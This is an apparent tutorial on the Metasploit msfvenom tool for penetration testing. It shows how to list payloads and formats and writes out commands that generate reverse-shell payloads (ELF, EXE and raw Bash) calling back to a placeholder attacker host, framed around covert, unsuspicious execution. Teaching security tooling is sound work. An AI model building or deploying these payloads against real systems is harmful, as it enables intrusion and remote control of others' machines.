How to Use the Command 'msfvenom' (with Examples)
msfvenom is a versatile command-line tool in the Metasploit Framework employed to generate and manipulate payloads. It merges the functionality of ‘msfpayload’ and ‘msfencode’ into one robust payload generator, making it popular among cybersecurity professionals for both penetration testing and developing exploits. It’s capable of generating a variety of payloads which can be used to execute commands on a targeted remote system, offering adaptability in terms of format and platform.
Use case 1: List Payloads
Code:
msfvenom -l payloads
Motivation:
This command is often used at the start of a project or penetration testing exercise to explore the wide assortment of payloads available within the msfvenom arsenal. Understanding what payloads are at your disposal allows you to tailor your exploits to the specific configuration or defenses of the target environment, granting you flexibility and adaptability.
Explanation:
-l: This flag indicates that the user wishes to list available items.payloads: This specifies that the list will be of available payloads.
Example Output:
The output includes a comprehensive list of payloads such as windows/meterpreter/reverse_tcp, linux/x86/meterpreter/bind_tcp, and more, each indicating the platform and type of reverse or bind connection it facilitates.
Use case 2: List Formats
Code:
msfvenom -l formats
Motivation:
Listing formats is crucial before creating payloads, as it helps users determine the most suitable format for export based on the target’s needs or limitations (e.g., ELF for Linux, EXE for Windows). Choosing the right format can determine the success of the payload deployment.
Explanation:
-l: This flag is used to indicate listing.formats: This specifies that the list will be of available output formats.
Example Output:
The output displays a variety of formats, such as elf, exe, raw, java, and others, highlighting msfvenom’s capability to produce payloads compatible with diverse target environments.
Use case 3: Show Payload Options
Code:
msfvenom -p payload --list-options
Motivation:
This command provides insight into the specific configuration options for a particular payload. It is vital for ensuring correctness and preciseness when building a payload, as incorrect parameters can result in failed exploitation efforts or even unnecessary alerts in the target environment.
Explanation:
-p payload: Specifies which payload’s options you want to view. Replace ‘payload’ with the actual payload name.--list-options: Offers a detailed view of adjustable parameters for the selected payload, such asLHOSTandLPORT.
Example Output:
The output provides details on required options, like LHOST, LPORT, and optional settings, allowing customization based on the network configuration of the attacker and the target.
Use case 4: Create an ELF Binary with a Reverse TCP Handler
Code:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=local_ip LPORT=local_port -f elf -o path/to/binary
Motivation:
This command is beneficial when targeting Linux environments. By setting up a reverse TCP handler, an attacker can initiate a connection from the compromised machine back to the attacker’s machine, facilitating unrivaled control over the target.
Explanation:
-p linux/x64/meterpreter/reverse_tcp: Specifies the payload for a reverse TCP connection on Linux X64 architecture.LHOST=local_ip: Sets the local IP address to which the reverse connection will connect.LPORT=local_port: Defines the port for the reverse connection.-f elf: Indicates the format of the compiled payload output, suited for Linux systems.-o path/to/binary: Specifies the output path and file name for the generated binary.
Example Output:
Successful execution results in an ELF binary file being saved at the specified output path, ready to be executed on a compromised Linux environment.
Use case 5: Create an EXE Binary with a Reverse TCP Handler
Code:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=local_ip LPORT=local_port -f exe -o path/to/binary.exe
Motivation:
Primarily used in penetration testing of Windows systems, this command achieves the creation of a reverse TCP connection via EXE format. This format is particularly significant for Windows environments, providing seamless integration and execution without raising suspicion.
Explanation:
-p windows/x64/meterpreter/reverse_tcp: Specifies the payload for generating a reverse TCP connection on Windows X64 architecture.LHOST=local_ip: Sets up the local IP address for reverse connection.LPORT=local_port: Determines the port used for the reverse connection.-f exe: Defines the format, tailored for Windows execution.-o path/to/binary.exe: Specifies the output location and naming of the resultant EXE binary.
Example Output:
An EXE file is created in the specified directory, making it readily deployable on the targeted Windows system.
Use case 6: Create a Raw Bash with a Reverse TCP Handler
Code:
msfvenom -p cmd/unix/reverse_bash LHOST=local_ip LPORT=local_port -f raw
Motivation:
For scenarios where a binary file is impractical or raises suspicion, this command allows the creation of a raw Bash script to implement a reverse TCP connection, effective in Unix-like environments. It allows more covert operations with minimal digital footprint.
Explanation:
-p cmd/unix/reverse_bash: Denotes the payload used for constructing a reverse shell via Bash in Unix environments.LHOST=local_ip: Identifies the local IP address for connection.LPORT=local_port: Specifies the port for listening to the reverse connection.-f raw: Requests the output in a raw script format.
Example Output:
Generates a script output configured for execution as a Bash command to initiate a reverse shell connection to the specified IP and port.
Conclusion:
The msfvenom command is extremely powerful for cybersecurity activities, offering an extensive array of payload options and formats to customize and potentially deploy across various platforms. From listing available payloads to the creation of specific binaries ready for deployment, msfvenom stands as an essential tool in a penetration tester’s toolbox.
